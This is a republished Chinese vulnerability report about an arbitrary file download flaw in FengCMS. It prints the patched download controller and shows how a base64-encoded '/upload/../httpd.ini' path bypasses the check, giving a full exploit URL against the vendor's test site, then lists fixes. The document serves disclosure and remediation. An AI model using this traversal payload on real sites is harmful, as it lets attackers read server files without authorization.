网站地图    收藏   

主页 > 后端 > 网站安全 >

FengCMS绕过补丁依旧任意文件下载 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 非常感谢各位白帽子的辛勤工作!FengCms安全测试站地址:http: guf521656 h163 92hezu org 已经升级到最新版本 有效期2014-7-8至2014-7-15 欢迎各位安全界的朋友帮我们寻找安全漏洞!作为一个小小...

app/contorller/downController.php

 

<?php
/*******************************************************************
 * @authors FengCms 
 * @web     http://www.fengcms.com
 * @email   web@fengcms.com
 * @date    2013-10-30 16:00:12
 * @version FengCms Beta 1.0
 * @copy    Copyright ? 2013-2018 Powered by DiFang Web Studio  
 *******************************************************************/
// 请确保 php.ini 配置文件中 output_buffering 值为 On 或者 4096,为 Off 则会导致下载文件乱码。

class downController extends Controller{

public function index(){

$_GET['file']=base64_decode($_GET['file']);
$exp=explode("/",$_GET['file']);
if($exp[1]=="upload"){
if(file_exists(ROOT_PATH.$_GET['file'])){
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($_GET['file'])); 
readfile(ROOT_PATH.$_GET['file']);
}else{
echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>';
}
}else{
echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>';
}a
}
}
?>



唉,这修复。。。

等于没修复啊。直接file=/upload/../httpd.ini,bese64_encode下就好了。。。

厂商的测试地址:

 

http://guf521656.h163.92hezu.org/index.php?controller=down&operate=index&file=L3VwbG9hZC8uLi9odHRwZC5pbmk=




 

QQ20140710-4.png


 

QQ20140710-5.png

 

修复方案:

1、限定目录

2、直接取文件名吧

3、白名单限定可下载路径啊文件。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论